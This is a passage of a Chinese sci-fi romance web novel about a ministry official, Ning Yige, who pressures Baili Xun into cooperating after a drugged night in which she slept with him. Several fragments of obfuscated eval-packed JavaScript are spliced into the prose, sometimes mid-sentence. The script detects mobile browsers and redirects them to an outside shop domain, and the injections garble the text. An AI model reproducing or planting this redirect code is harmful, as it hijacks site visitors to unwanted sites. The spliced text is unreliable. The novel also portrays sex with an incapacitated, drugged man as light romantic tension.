l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203762|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但宁以歌没必要再去解释,她将录影胶囊贴身收好:“我们走吧。” 宁以歌的私人飞车在安迪的驾驶下驶出酒店停车场,正要开往车站搭乘公共星际航船离开第二星。 车没开出去多远,宁以歌就让安迪停下。她下了车,阻止了想要跟上来的安迪,自己一个人走入不远处的树林中。 宁以歌背对着光照的方向,树木的影子在她的眼前影影绰绰,她很有耐心地等待着,直到一阵微风吹过,身前的影子多了一个人的。 百里寻像他的猫科动物精神体一样举止悄无声息地出现在她的背后,用他那双金瞳幽幽地盯着宁以歌。 百里寻见宁以歌转身毫不意外地看向自己,问道:“你在等我?” 宁以歌:“早上你走得匆忙,我都没来得及留个联系方式。” 百里寻气恼地提高声音:“我不需要你负责——” “哦,不需要,那你还一直观察我的动向?是想干什么?” 百里寻的脸色变了又变,半天没为自己跟踪宁以歌的行为想出个合理的解释。 “百里寻,你昨晚的失控不是意外,这件事我们都是受害者,”宁以歌正色道,“同时暗算政府官员和豪门子弟,此人真是胆大包天。身为司法部职员,我有职责将这个罪犯揪出来。” 宁以歌将自己的名片传送进百里寻的光脑中。 “这是我的联系方式和住址,如果你有什么线索和想法欢迎随时找我。” 原来她找自己是为了这个。 “……行。” 百里寻也将自己的联系方式交换给宁以歌,关闭光脑,却还站在原地,眼神依然幽怨。 “你还有什么话要说?” “没有。” 宁以歌顿了顿,目光从百里寻的脸一路下移,百里寻已经换了套新衣服,长袖长裤穿得严严实实,丝毫看不出昨晚留下的痕迹。“身体还好吗?” 百里寻的身体微微一僵:“好得很。” “那就回见,有进展第一时间告知你。” 宁以歌返回车上,安迪瞥了一眼还在树后目送她们离开的百里寻,讶异地问道:“你们真睡了?不对……他不像占了便宜的模样,你不会把他……”安迪没继续说下去,但宁以歌明白她想问什么。 宁以歌不答反问:“怎么了?” “你瞧他那样,就跟很被人渣了告官无门一样!” “是吗。”宁以歌回头看去,百里寻已经消失了。 “以歌,你还没回答我,你不会真睡了他吧?” 宁以歌不置可否。 安迪当她承认了,痛心疾首地嘟囔:“你这棵铁树怎么就看上他了,都不挑一挑……” “我倒是第一次发现,这人有点意思。”宁以歌意味不明地笑了笑,“但是你放心,我当然知道他是谁,分得清什么该做,什么不该做。” 瞧见宁以歌的笑容,安迪的汗毛竖起,她就知道,宁以歌绝不仅仅把他当作一个意外的消遣。 安迪熟悉这样的笑容,那是一个猎人锁定猎物、且胜券在握的笑容。 8. 戒酒 百里寻结束第二星的糟糕之旅,回家躺了整整一天才打起了精神起床给自己做饭。 他此时正住在百里家为他在郊外购置的别墅中,百里寻心情不好不想见任何人的时候就会来这里小住一段时日。只有在这栋只属于他的房子里,百里寻才能找到对自己生活的支配权。 百里寻简单做了顿午饭,将几片冷冻的新鲜牛肉丢给在一旁眼巴巴看着他的阿金,再随手打开客厅中央的投影,随机播放电影。 电影是上回自己在这栋小别墅里还没来得及看完的一部经典爱情片,此刻情节恰好卡在了男女主定情的桥段,参加同学聚会之前的百里寻还能津津有味地品鉴这个爱情故事,而如今的他的心境却在短短数日里改天换地。 当男主环住女主的腰,与之深情拥吻时,百里寻眼皮一跳,手中的勺子从手中滑落在碗中,发出清脆的声响。他在这幅画面的刺激下记起了那天的情景。 他模糊记得,他就是这样毫不客气地把宁以歌抱进怀里,再毫无章法地乱亲一通。百里寻紧咬后槽牙,压住往上翻涌的羞愧之情,他没有经验,只是生理驱使,不懂章法不是很正常? 影片里的男女主亲着亲着就亲到了床上,百里寻死死盯着面前的画面,不断反刍记忆的大脑一片狼藉。 他所经历的到底还是与影片中的男主不同,因为他是被压的那个。 百里寻双拳紧握,指甲几乎要抠破掌心,他面前价值千金的名贵金属刀叉锅具在他的情绪波动中产生剧烈抖动,缓缓从桌面飘起,在空中扭曲变形,似乎在被一双无形的手如捏泥般肆意揉捏到疲劳断裂。 “够了!” 投影应声关闭,当面前只剩下一堵白墙,百里寻身边飘散的金属餐具残骸纷纷落下,在这场人为制造的金属碎片雨中,百里寻的目光移到盯着白墙一脸怅然若失的阿金身上:“别以为我不知道你在想什么!” 阿金白了他一眼,在百里寻心底回答:“你不也是?” “是你个头!” 阿金识趣地躲回精神图景,只留百里寻一人在客厅里平复汹涌起伏的情绪。 他还是难以接受这段难堪记忆里的自己的位置,思来想去,百里寻打开了光脑,给温昱发送信息:“给我介绍个女朋友。” 等了好一会儿,温昱才回复:“???” 他又连续发来两条几乎没有时间间隔的信息:“我没看错吧!寻哥你要找女朋友?!真是太难得了!” “哥啊,快说说你的要求,我一定满足你!” 百里寻不假思索地回复:“是个正常女人就行。” 温昱:“什么叫正常女人?” 此时的百里寻已经因为自己的冲动而有点后悔了:“算了,我又不想找了。” 温昱:“你怎么说话没头没尾的?你快说呀,什么叫正常女人?” 百里寻不理他了。 温昱忽然想到了什么:“寻哥,你是不是碰上了什么不正常的女人,被刺激到了?” 百里寻清楚这个话题不能再继续了,他害怕这小子能继续往下猜直到猜出真相为止。 但送到眼前的重大八卦怎能轻易放过,温昱接着打电话来又被百里寻挂断,他急了:“这有什么不能跟你兄弟我说的?不正常的女人到底什么样啊?” 百里寻总算挤出几个字:“你不知道是好事。” 然后他迅速关闭聊天界面,仰头倒在沙发上,闭起眼睛。 黑暗中,他又看见了宁以歌那张脸,看见她得逞的笑容,似乎又感受到那天她不安分的手在肆意游走。瞧见他失态的模样,她愉悦的笑声沉沉地响在他的耳边。 “百里寻,你现在这样……真可爱。” 百里寻猛地睁开眼睛,坐了起来。 他冲进洗手间用凉水洗了把脸,强迫自己不要再去回想。 该死! 他根本控制不住。 百里寻面色阴沉地回到餐桌前,草草解决了已经冷掉的午饭,难得没叫人接送,开出了自己的私人飞车。 阿金兴奋地抢先一步坐在副驾驶座,还以为主人要带自己出去兜风,当看清了百里寻路线的目的地后,它失望地耷拉下脑袋,默默回了精神图景。 生平第一次,百里寻走入伊甸乐园的红灯区。刚一踏足这片区域,一左一右便扑上两名同样精心打扮过的男人和女人,他们不约而同地亲昵地拉过他的胳膊在他身上乱蹭还喊他少爷。把百里寻吓得一激灵。 热情的经理迎了上来:“先生如果不喜欢他们俩,还有更多款式可供选择哟!” 百里寻看着左右夹击的两张漂亮妩媚的脸蛋,身体的抗拒终究胜过了他想证明什么的龌龊心思。他推开了他们,敷衍道:“算了,今天身体不太舒服。” 美人们失望地退出他的视线,经理冲他抛媚眼:“那真是不巧,下次再来啊!” 百里寻强装镇定,疾步离开了伊甸乐园,他钻回车内,放平靠椅,靠在上面盯着车顶。方才的画面勾起了他某些不好的回忆,他有点反胃。 其实他完全可以将那一晚和宁以歌之间的事当作一场梦,不过就是被睡了吗,没什么大不了,他为什么要去在意? 可那是他的第一次,又为什么偏偏是宁以歌? “我堂堂S级被区区C级给强了……”这种事情传出去简直是奇耻大辱到几乎没人会信。 “明明……明明她很讨厌我,怎么下得去手的?”百里寻怅然叹息一声,抬手遮住眼睛,记忆中宁以歌千百张不同时刻却同样淡漠的面孔最终重叠定格在那天清晨,她望向自己的眼中多了一丝异样的不同于以往的波动。 他还是想不通到底哪里出了问题才导致这样的结果。 也许哪里都出了问题。 身侧传来车窗敲击声,百里寻挥手降下车窗,温昱的脸出现在眼前。 温昱指了指不远处的伊甸乐园:“寻哥,你怎么在车里头坐着啊?不进去吗?” 百里寻翻了个白眼,打开车门让他坐进来:“你找我?” “对啊,你半天不回消息,我担心你啊!我以为你会来喝酒呢,进去转了一圈没找到你,你怎么在这里干坐着?” 百里寻:“我打算戒酒了。” 当了十几年酒鬼的百里寻突然要戒酒,这个消息不亚于老虎宣布今后改吃素。 温昱的下巴快掉到地上了:“为什么?” “我觉得喝酒很误事。” “啊?”温昱愣住了,“寻哥,那天聚会之后你不告而别,第二天就自己一个人返回了首星,是不是遇到什么事了?异种有没有伤到你?” “没有!”百里寻猛地坐直身体,而后觉得自己这个动作有些可疑,又迅速恢复镇静语气,“我能出什么事?我不是好端端地坐在这里吗?那天就是心情不太好,想先回来。” “也是,你的精神力这么强,还有控制金属的异能,谁能把你怎么样? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203763|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 百里寻嘴角微抽,拼死按住又要冒头的回忆。 “那你现在心情好点没?” “还行。”百里寻瞧见温昱欲言又止的模样,皱起眉,“你想说什么赶紧说了吧。” “寻哥,我们聚会那天宁以歌也在天上楼。”温昱观察着百里寻的神色,还是忍不住提起这个人,“虽然消息封锁了,但是我从私人途径得知那次异种袭击不是意外,宁以歌就因为这件事向酒店兴师问罪,发现犯罪嫌疑人自杀现场的。” “她在不在关我什么事?”百里寻冷淡地回复,没让自己出现端倪。 “就是觉得太巧了嘛!之前你提起她在庭上救了你,我回去就搜罗了一下关于她的消息,发现这人真是了不得!不过也不意外,她在学院里就是佼佼者,只是被那个残疾精神体拖了后腿。” 百里寻看了一眼温昱,温昱以为是在介意自己多夸了宁以歌几句,正想找补,百里寻却突然问道:“你对她的小道消息打听得多不多?” 温昱一愣:“你想知道什么?” 百里寻:“她有没有男朋友、未婚夫之类的?” “没有听说,我认识的在政府部门工作的朋友都说宁以歌从来没有和任何一位男士传出绯闻,也没听说过有什么情史,穿着还保守,活得像个无性恋。”温昱说。 无性恋?那天她的所作所为可不像个无性恋。 “寻哥,你问这个干什么?” 当然是以防万一事情泄露正宫杀过来了自己连怎么死的都不知道。 “哦对!我又突然想起来,我那个朋友说前两天好像看见宁部长脖子上有可疑的痕迹,看着像吻痕,但是没敢问。”温昱补充,“不过他觉得还是被蚊子叮了的可能性更大点,毕竟那是宁以歌。” 名为百里寻的“蚊子”嘴角微微一抽。 温昱没注意到此刻百里寻的异样,他联想到中午那会百里寻让他介绍女朋友这个古怪的请求,忽然提出一个大胆的疑问。 “寻哥,你不会想追她吧?” 百里寻冷笑道:“追她?我是想追杀她。” “追杀?这不好吧?”温昱很吃惊,“她毕竟才在法庭上救了你,再怎么说也不能这样对救命恩人……” “当然是开玩笑,你想哪去了?”百里寻说,“我有恶劣到这个程度吗?” 温昱耸耸肩:“那可说不准。”毕竟,面前的男人是百里家族的继承人,而百里家族在经销军火方面又常年游走灰色地带,以暴力手段打压竞争者也不算稀奇。 可百里寻想的却不是这方面:“也是,反正我的名声从学院里就臭了。” 百里寻的光脑忽然震动,他才总算想起来看一眼光脑,他略过温昱先前发来的一大串骚扰信息,看见了宁以歌刚刚发来的消息。 “等两天你的消息了,你不会什么线索都没有吧?” 百里寻硬着头皮回复:“不好意思,还真没有。” “见个面?” “不了,我最近有点感冒。” “行,那改天。” 百里寻迅速关闭光脑,面无表情地推开一直试图凑近偷看光脑的温昱:“看什么?我要先回家了,你快走吧。” 恋恋不舍离开的温昱最后不忘向百里寻确定一遍:“你真戒酒了?” “当然是真的!以后不用喊我出来喝酒了。” 百里寻粗鲁地关上车门,车体一键升空蹿出了温昱的视线。 9. 晚宴 在正式入学墨菲学院的前夕,好心的学姐曾拉着宁以歌说了一晚上注意事项,除了校规校训就是未来三年里将逐步学习的主要科目内容。最后,学姐开始从常规内容延伸到校内的学生氛围。 墨菲学院不仅有部分学生存在着微妙的精神体等级歧视,更有权贵子弟拉帮结派,校内霸凌之事如野草斩不尽烧不完。学姐再三叮嘱宁以歌,作为墨菲学院创建以来的第一个C级精神体学生,这些都需要注意。 尤其需要注意一个名叫百里寻的学长。 此人大宁以歌一届,是万里挑一的S精神体拥有者,出身于知名的军火家族百里氏,还是独生子。背景和天赋本来就是一般人惹不起的,更要命的他品行恶劣。当年百里寻入学不到一学期,因为某件事的发生,他的名声传遍了学院的每一个角落。 校内师生将那件事简称为“钢琴房事件”。 据学姐说,百里寻刚入学便和学院内的各位二代迅速结成了小团体,即使他的家族在此时已经算不上顶尖,但光凭借他那威风凛凛的精神体和控制金属的异能便足以成为这个小团体的头目。 一日午后,百里寻领着这个小团体在学院中闲逛,路过钢琴房,听见其中的练琴声,嫌弃弹得难听,就下令让小弟们当着这个练琴的无辜女生的面将钢琴砸了个稀巴烂。女生受到严重惊吓,当场哭昏过去,第二天就申请休学了。 更气愤的是,学校只让他们道歉和赔钱了事,连处分都没有。 学姐最后说:“那个百里寻很好认,学院里只有他满头白发,眼睛还是金色的,配色和他那个精神体一模一样,在人群中你肯定不会认错。他长着一张漂亮宛如精灵的脸,却有一颗肮脏恶劣的心。你记住他的样子,然后千万千万要离他远点儿!” 而后来宁以歌听说那名休学的女生一直等到了百里寻毕业才敢回来接着上学。 所以身为与宁以歌同届同学的安迪很不理解为什么宁以歌因为那一夜意外就开始对百里寻如此上心。 “以歌,你不会真睡出感情了吧?” 宁以歌无语地看着安迪。 “你看你都给这家伙发了多少消息了,他都不回,你还管他干什么啊?”安迪嘟囔,“虽然说他也是受害者,但是一定要和他合作吗?” 宁以歌面无表情地划拉着和百里寻在光脑的聊天记录:“你了解我的,我不会半途而废。” 光脑投射的全息屏幕上,宁以歌一开始约百里寻出来面谈,百里寻还会找点借口:“不了,我最近有点感冒。” 这个回答在宁以歌意料之中,她回复:“行,那改天。” 第二天,宁以歌又给他发消息:“我有感冒特效药,我们见个面,我有点事要跟你说。” “抱歉啊宁部长,我马上要去出差了,暂时没空。” 宁以歌转头就向调查小组打听了百里寻的动向。他在被拘留之后就没复工过,才从庭审脱身就跟自己父亲——也就是百里家家主百里景——申请了一个月假期,声称自己受到了打击需要修养一段时日。 真是躺得够彻底。 宁以歌不觉得他受到了什么打击,修养的时日还有劲出去混夜店和参加聚会。 她第三次给百里寻发消息:“百里寻,你就吞得下这口气?” 百里寻干脆不回她消息了。 接下来的整整三天里,宁以歌试图再发消息甚至发起语音通话,百里寻通通跟死了一样不回复消息不接通话不回通话。 安迪眼睁睁看着数次打开光脑都没看见百里寻回复的宁以歌的脸越来越黑。 最终,宁以歌关闭了光脑,仿佛不再在意百里寻的动向。 就在此时,宁以歌的住处门铃被按响,安迪去开门,是来自于联邦第一星际航船制造企业的董事长雪莱家的信使,她来送雪莱六十大寿晚宴的请柬。 现在的宁以歌没什么心情,她平时也一般不会参加这些私人活动,自然委婉拒绝了。信使礼貌地将请柬留下:“您要是改变了主意,可以直接前往请柬上的地址参加,我家主人随时欢迎宁部长的光临。” 信使离开了。 安迪拿着请柬认真打量:“呦,这上面还是镀金的呢,有钱人的请柬就是特别哈!” 宁以歌却接过请柬认真记下了晚宴举办的时间和地点:“我打算去参加这场晚宴,安迪,我们都准备一下。” “啊?”安迪以为自己听错了,“你刚刚不是拒绝了雪莱家的人吗?你不是一直不喜欢参加这种宴会吗?” “我是不喜欢也不想参加这些宴会,不过这次我得去。”宁以歌叹了口气,“因为百里寻会参加,此类活动他几乎不会缺席。” “那你还拒绝他们干什么?直接答应去不就好了?”安迪还是没搞明白。 宁以歌无奈地看着安迪,笑了:“我怕事先声张,就会打草惊蛇啊。” 另一边,躲在自己的小别墅里的百里寻也收到了雪莱家的请柬,他如宁以歌所料留了个心眼:“我想问问,宁以歌宁部长来不来啊?” 信使果断回答:“宁部长说她不来。” 百里寻这才放了心:“行,我去。” 结果他就在宴会厅门口碰见了一副守株待兔架势的宁以歌。 * 宁以歌特地提前了一个小时到达晚宴地点,她没进宴会厅,只在宴会厅外的花园里找了处方便盯着门口的位置坐了下来。如果百里寻没有出现,她会考虑直接跟参加宴会的客人打听他的住处。 只要确立了行动目标,她有的是办法。 幸好,目标准时出现在了宴会厅门口,贴心地为宁以歌省去了不少功夫。 百里寻看见了坐在不远处盯着自己的宁以歌,愣在了原地进也不是退也不是,此刻他倒像是那只被老虎盯上的山羊。 宁以歌远远地向他致意,百里寻脸上迅速浮现古怪的红色,他别过脸假装不在意宁以歌似的笔直地进入宴会厅,宁以歌这才起身,拂了拂身上的落叶与灰尘,让身为保镖的安迪在门口待命,自己拿着请柬步入晚宴。 甫一进入宴会厅,晚宴的主人雪莱女士就迎了上来,热情地拉住了宁以歌的手,宁以歌都没来得及摘手套,而雪莱女士毫不在意:“宁部长可是稀客,您愿意来我的生日宴会,是我的荣幸!” “哪里,雪莱女士,只是我身体素质不如你们,喝不了什么酒,站久了就累,怕扫你们的兴,才很少参加此类活动。”宁以歌回答。 “今晚我特地准备了许多种类的果汁,包括第十一星特产星落果果汁,星落果五年才结一次果,既稀少又甜蜜爽口。我听说宁部长您的家乡就在十一星?那您一定会喜欢的!” “我一定尝尝。”雪莱女士和宁以歌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203764|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结束寒暄又紧接着去接待下一位客人,宁以歌才松了口气,她在人群中迅速定位百里寻的方位。 百里寻总是宴会上年轻人中的焦点,他家世显赫,精神力顶尖,风流倜傥,又是单身,因此身边总不乏年轻女子靠近搭讪,以及其他人的讨好与巴结。 今天的百里寻却一反常态,疏远了所有美女,只在角落跟一个官二代在闲聊。可能是宁以歌的目光太明显,百里寻很快发觉她在看他。 宁以歌知道这时候的自己虽然维持着面上的微笑,实际上投向百里寻的目光里的怨念都快溢出来了。 不然百里寻为什么又会落荒而逃,躲到宴会厅的另一侧,用柱子避开宁以歌的视线。 宁以歌又要追上去,却被身后熟悉的声音叫住了。 “以歌?” 宁以歌不得不停了脚步,转过身来,神态恢复成一个参与宴会的客人该有的模样:“里奥?” 被称作里奥的男人棕发蓝瞳,气质出众。他瞧见了宁以歌,神情很惊喜:“以歌,真的是你,你怎么想起来参加这场晚宴?以前的你可是对这些聚会避之不及。” “人总是会变的,里奥。”宁以歌随手拿起身边侍者托盘上的酒杯,与里奥手中的酒杯轻碰,“我们好像好几个月没见了,最近怎么样?” “还行,研究进行得很顺利,如果没有意外的话,下一批新型轻甲就能投入生产。”里奥笑得很开心,他不着痕迹地凑近了宁以歌,“你还记得我们很久没见了,我以为你不会在意这个。” 宁以歌表示好奇:“新型轻甲,是安迪用的那套的改良版吗?” “是的,现在市场上的轻甲需要常规穿脱,但我们最新研究的这一批是压缩型,简单来说只要将压缩包佩戴在身上就可以一键穿戴,真正实现魔法般的快速换装!”说起研究产品,里奥眉飞色舞,“以歌,等第一批产品生产出来,我送你几套。” “好啊,那我就等着试试你的新产品。” 宁以歌顿了下,将话题一转:“对了,尤思嘉还好吗?” “她?她不还是老样子?”里奥回答,“你每次一看见我就问她情况,我们完全不是一个研究领域,你要是想她就多去我们科研部转转,她巴不得你多去。” 宁以歌有点心不在焉,她用余光寻找百里寻的身影,忽然发现他不知道为什么不躲了,只是用那双闪动着灯光的眼睛牢牢地盯着宁以歌这边。 表情还有点奇怪。 “以歌,我是看出来了,你一点也不关心我,说的都是些客套话,还老走神。” 宁以歌敷衍道:“抱歉,我下次注意。”说完,宁以歌就要走,却被里奥拉住了手。 里奥低声道:“你自己注意安全。” 宁以歌看了他一眼,眼中露出一如既往令人安心的自信,里奥放开了她。 百里寻在宴会边缘坐了下来,没再躲宁以歌,却挪开眼睛假装不看她。 宁以歌捏着酒杯往目标走去,在他边上的座位坐下,两个人并排坐着,沉默地望向不远处热闹的宴会参与者们,仿佛只是两个碰巧坐在一起的陌生人。 终于,百里寻忍不住了,他依然目视前方,却在问宁以歌:“刚刚和你说话的那个人是谁?” 宁以歌也没看他:“和你有关系?” 百里寻的脸色一瞬间难看极了。 10. 诚实 纸醉金迷的宴会仿佛离他们很遥远,明明没有任何眼神与身体接触,又保持着生疏的距离,宁以歌与百里寻却被阴影粗暴地划分在了同一阵营。 听到宁以歌淡漠的回答,百里寻总算有了动作,他满脸恼怒地转过头,想质问她“怎么有脸睡完这个男人再和那个男人有说有笑”,却碍于周围耳目众多,硬生生咽了回去,又转回脸继续和这位阴影中的盟友保持长久的沉默。 百里寻似是不太自在,下意识翘起二郎腿,这一动作使他无意识越过了他们之间的楚河汉界,鞋底蹭到了宁以歌米色的西服裤,留下扎眼的污渍。 两人同时收回的目光聚在宁以歌西服裤的污渍上。 “不好意思。”百里寻迅速放下了腿,心虚地抿着唇,移开视线,微妙地往宁以歌身边挪了挪,用小腿在宁以歌的裤子上来回摩擦,以这个别扭的动作试图擦去宁以歌裤上的污渍。 仿佛全然没有意识到这个动作有多古怪。 宁以歌无语至极地看着他小腿的动作,良久才说:“你就不能好好擦?” 闻言,百里寻才不情愿地弯下身取出随身携带的手帕以极快的速度擦去污渍,而后直起身,目不转睛地看向宴会中已经开始准备跳舞的人群,好似什么也没有发生过一般。 宁以歌举起手中的酒杯,杯沿轻抵在唇前,压低声音问:“为什么不愿意和我当面谈谈?” 回答她的依然只是消磨耐心的沉默。 “以歌,你在这里坐好久了。”里奥施施然出现在二人面前,打破了他们之间的僵持,令他们不得不将注意力放在这位来客身上。 里奥在宁以歌的另一侧坐下,偏头看向茫然却警惕的百里寻:“嗯?这位看起来很面熟,你是?” 没等百里寻回答,宁以歌便从容地为他们介绍对方。 “百里寻,这位是里奥,科研部主要研究组之一的组长,目前深耕的领域是轻型护甲研究。里奥,这位是百里寻……”宁以歌忽然一顿,“你认识他吧?” “原来是百里寻先生,久仰大名。”里奥的笑容恰到好处,他伸来手,二人的手在宁以歌面前短暂交握。 宁以歌对百里寻说:“里奥也是墨菲学院毕业的,比你大一届,和你同为机械专业,你们可能以前就见过面。” 里奥:“我在学院时就见过你,只是太多年没见,有点认不出来了,哈哈!” 百里寻:“抱歉啊!我记性不太好,学长别见怪。” 里奥:“真是六年不见,当刮目相看。现在言语都这么客气,和当年的那个叱诧风云的学院霸王完全不一样了。” 百里寻的笑容僵住了:“……都是年少轻狂的荒唐事。” 里奥:“唉,可现在荒唐事也没少到哪去,我可听说前一阵子你被诬陷背叛了联邦,听说的时候我都吓了一跳,我就知道都是诬告,你再怎么样也不至于糊涂至此!” 百里寻无语凝噎。 “以前我没见你和以歌这么熟,刚刚仔细回想了一番,才想起来,你被诬告的时候还是以歌救了你。”里奥意味深长地笑了笑,“能被宁以歌庇护的都是幸运的人。” 百里寻自然明白他什么意思:“我会记着宁部长的这份恩情的。” 里奥站起身,“我先走了,实验室那边还要我回去盯着。回见,以歌。还有百里先生,下次有缘再见。” 随着里奥的离开,窒息的氛围终于消散,宁以歌暗暗长舒一口气,也放下酒杯站了起来,向宴会的主人告别,随即消失在百里寻的视线中。 百里寻凝固在原地半晌,才终于下定决心般追了上去。 宁以歌的车刚驶出停车区,百里寻就站在了她们必经的一处人迹稀少的路口。 安迪停了车,宁以歌打开车窗,问百里寻:“想好了?” 百里寻:“我觉得我们确实该谈一谈。” 宁以歌让他上车,百里寻却将目光停在安迪身上。宁以歌沉稳地说道:“你先下去吧,安迪,我和他单独谈谈。” 安迪不情不愿地下车,车门关闭前,一身保镖轻甲的安迪不忘冲百里寻捏了捏拳头,恐吓之意很明显。 百里寻无视了安迪,坐进车内。 车内氤氲着青草香氛的气息,清新而带着淡淡的冷意,如同它的主人。 宁以歌开门见山:“为什么躲着我?” 百里寻冷哼一声:“能像你这样把别人上了还能若无其事坐在这里问我为什么的人也是少见。” “你是在介意这个事?”宁以歌眉头轻挑,“百里寻,你是二十七岁,不是十七岁,为什么还为床上这点事纠结那么多天?” “可是那是我的……”百里寻欲言又止,昏黄的车内灯光掩盖了他脸上的潮红。 宁以歌不喜欢他吞吞吐吐的模样,盯着他的脸思考了半晌才微微睁大眼睛,语气惊讶:“你不会真是第一次吧?” 这是一个百里寻羞于启齿的话题,他沉默着点了头。 “没有人会希望自己的初次是这副模样,尤其是我是个在那方面……喜好普通的男人,却被你、被你!我怎么可能不介怀?” 宁以歌确实很意外,她曾一直认为像百里寻这样的浪荡公子、夜店玩咖总该谈过女朋友,至少,肯定在伊甸乐园的红灯区鬼混过,怀里不知道流连过多少女人。 所以那天,她只犹豫了一秒便对他下了手,带着报复心理想让他尝尝被人困在身下玩弄的滋味。 在迷乱的夜里,他的反应局促而慌乱,宁以歌只当他没做过下面那个的缘故。 可百里寻今天居然一脸恼羞地告诉她,无论是上面还是下面,他都没和别人发生过关系,她是第一个。说这话的时候,百里寻看起来既真挚又纯情。 宁以歌迅速作出了推测,要么百里寻在演戏骗她,要么他说的是真的。 无论哪个结果,宁以歌都觉得情况很微妙。 要是百里寻在骗她……他为什么要在这种无关紧要的问题上骗她?他能仗着自己骗了他的第一次就能从自己身上讨到什么好处? 要是没骗她……宁以歌觉得自己识人的眼光第一次出了问题,这并不符合百里寻在她记忆中的形象。难道七年光阴真的改变了他? 百里寻不知道宁以歌在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203765|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想什么,在他眼中,宁以歌只是沉默了两秒,脸上没看出异样,一开口又是呛他的话:“是你先强吻我的。” 宁以歌找到了思路,飞快地继续往下说:“这也是我的初吻,我都没介意,你委屈什么?” 百里寻难以置信地瞪大双眼,舌头都捋不直了:“对……对,那天是我先强吻你不假,但初吻和初夜能比吗?我不就是先亲了、亲了你一下吗?” 宁以歌正想继续呛他,却见百里寻突然收起了几分愤怒,语气怪异地问她:“这真是你的初吻?” “嗯,而且你亲了我不止一下,是很多下。需要我帮你回忆吗?” 仿佛真的回忆起了什么似的,百里寻的脸色重新难看起来:“不用!但是,你可以把我捆起来,甚至可以让那个叫安迪的保镖把我打昏过去。再怎么样,你也不能就这样强上……” “其实我是在帮你解毒。”宁以歌打断了他没有尽头的怨语。 百里寻怔住了:“解毒?” 宁以歌一本正经地回答:“你也知道吧?你那晚会神志不清,是中了催情的药,如果不按照正确方法解毒,你会留下后遗症。” “你的意思是?” “要是你的情欲没有得到纾解,这种毒会影响你的器官功能。” 宁以歌的目光从百里寻的双眼一路下移,最终停在某个部位,百里寻猛地并拢腿直起身,用防备的眼神瞪她。 宁以歌抿唇淡淡一笑:“你也不希望未来你的女朋友会嫌弃你吧?” 百里寻总觉得宁以歌是在胡言乱语诳他,但他并没有确凿的证据,此刻只能咬牙切齿地问道:“所以我是不是还得谢谢你?” “你确实应该谢我。” “……哈,真是谢谢你,宁部长。” 宁以歌叹了口气:“百里寻,我们之间都经历这么多了,私底下你也不用再这样装模作样地喊我部长,以后叫我名字就好。” 百里寻又冷哼一声。 宁以歌:“你是不是后悔今晚来了?” “有点。”百里寻诚实地回答,“但是我躲不掉的,对吗?” 宁以歌笑了笑:“我只希望你记住和我合作对你没有坏处。” 百里寻也虚情假意地笑了笑:“所以你想我怎么做?” “今天有点晚了,明天再见面详细说吧。”宁以歌说,“临走之前,我的未未想见你家阿金。” 断角山羊出现在车内,满眼渴望地看着百里寻。 百里寻顺从地叫出了阿金,一虎一羊仿佛小别胜新婚的夫妻般一瞬间纠缠在一起。把宁以歌和百里寻挤到了另一边,幸而车内空间够大,他们才不至于无处下脚。 百里寻简直没眼看,岔开话题:“喂喂?你这只羊的名字?” 宁以歌纠正他:“是未未,未来的未。” “未未。”百里寻呢喃了一遍,断角山羊百忙之中抬头看了百里寻一眼,温顺的横瞳中毫无敌意。 他们没让精神体纠缠太久,最后分别时,宁以歌对百里寻意味深长地说:“百里寻,你该多听一听你家阿金的话,它可比你诚实多了。” 11. 合作 星舟联邦政府召开每月一次的内部重点会议,所有部长都会参与汇报工作内容。 军队在第十二星上与辰冕帝国的战争还在打,科研部又研制了一批军用飞行器,安全部最近的重案调查进展等等。 最后一个汇报的是交通部部长祝寒,她针对最近频发的星际偷渡情况进行了计划部署。星际偷渡一直是屡禁不止的现象,总有人想通过非法途径前往辰冕帝国,乃至更遥远的国家,为生计、为财富、为不可告人的目标。 祝寒表示会加强每一个交通中转站的审查,尤其是通往边境星球的航线,全力保障避免非法人员的混入。 但宁以歌清楚,如果偷渡者掌握了顶尖的技术,完全可以混过所谓身份审查,星际时代,政府与违法人员的斗争最后总是演化成技术水平之间的比拼。 毕竟,民间总有野生高手存在。 执政官阿莱西亚听完他们的汇报,简单总结,便留下若干部长让其他人离开。 司法部的三位部长没有被执政官留下,他们一起离开会议室。 